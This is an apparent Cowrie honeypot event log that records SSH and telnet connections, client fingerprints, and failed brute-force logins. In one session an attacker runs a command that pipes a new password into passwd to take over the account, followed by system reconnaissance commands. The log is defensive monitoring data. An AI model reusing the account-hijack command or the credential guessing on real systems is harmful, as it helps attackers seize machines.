{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5a716bce7b0fc390b6783c683cbfcf7642beadbbf384b09725b08fa7bd8fd896","size":32,"shasum":"5a716bce7b0fc390b6783c683cbfcf7642beadbbf384b09725b08fa7bd8fd896","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/5a716bce7b0fc390b6783c683cbfcf7642beadbbf384b09725b08fa7bd8fd896 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:32.742564Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:32.830102Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"adminadmin123\\nEzAUXekhNcUg\\nEzAUXekhNcUg\\n\"|passwd","message":"CMD: echo \"adminadmin123\\nEzAUXekhNcUg\\nEzAUXekhNcUg\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:32.832912Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4a6da377608768e0becdaa860f3fbc2bd8b07dd007f534bebf86e6de063bc9cc","size":25,"shasum":"4a6da377608768e0becdaa860f3fbc2bd8b07dd007f534bebf86e6de063bc9cc","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4a6da377608768e0becdaa860f3fbc2bd8b07dd007f534bebf86e6de063bc9cc after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:32.905601Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:32.979452Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:32.981254Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:33.053198Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:33.166028Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:33.168449Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:33.241342Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:33.316194Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:33.318634Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:33.320719Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":65,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:33.394197Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:33.474159Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:33.476630Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:33.548639Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:33.624112Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:33.626065Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":205,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:33.697035Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:33.782057Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:33.785938Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:33.860491Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:33.944319Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:33.946658Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:34.018953Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:34.100054Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:34.102182Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:34.173690Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:34.246660Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:34.248357Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:34.361237Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:34.436894Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:34.439785Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:34.515292Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:34.589544Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:34.592006Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:34.707040Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:34.795806Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:34.798562Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:34.874852Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:34.955154Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:34.958056Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":40828,"dst_ip":"10.17.0.5","dst_port":22,"session":"3120aa0435b5","protocol":"ssh","message":"New connection: 8.210.75.243:40828 (10.17.0.5:22) [session: 3120aa0435b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:34.965399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:34.970985Z","src_ip":"8.210.75.243","session":"3120aa0435b5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":66,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:35.003614Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:35.007530Z","src_ip":"68.207.224.247","session":"2c3daf00fd75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:35.827724Z","src_ip":"8.210.75.243","session":"3120aa0435b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":51806,"dst_ip":"159.203.135.109","dst_port":23,"session":"8413beca7780","protocol":"telnet","message":"New connection: 170.64.224.25:51806 (159.203.135.109:23) [session: 8413beca7780]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:42.547225Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.143.200.246","src_port":34266,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab1246ebd228","protocol":"ssh","message":"New connection: 45.143.200.246:34266 (10.17.0.5:22) [session: ab1246ebd228]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:55.543095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:55.547387Z","src_ip":"45.143.200.246","session":"ab1246ebd228","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:55.669087Z","src_ip":"45.143.200.246","session":"ab1246ebd228","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"123.com","message":"login attempt [mysql/123.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:56.112268Z","src_ip":"45.143.200.246","session":"ab1246ebd228","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.208.49","src_port":33572,"dst_ip":"10.17.0.5","dst_port":22,"session":"bdb0bcaf8da4","protocol":"ssh","message":"New connection: 139.59.208.49:33572 (10.17.0.5:22) [session: bdb0bcaf8da4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:56.169938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:56.176841Z","src_ip":"139.59.208.49","session":"bdb0bcaf8da4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:56.259763Z","src_ip":"139.59.208.49","session":"bdb0bcaf8da4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"asdfg","message":"login attempt [user/asdfg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:56.596712Z","src_ip":"139.59.208.49","session":"bdb0bcaf8da4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:57.215535Z","src_ip":"45.143.200.246","session":"ab1246ebd228","protocol":"ssh"}
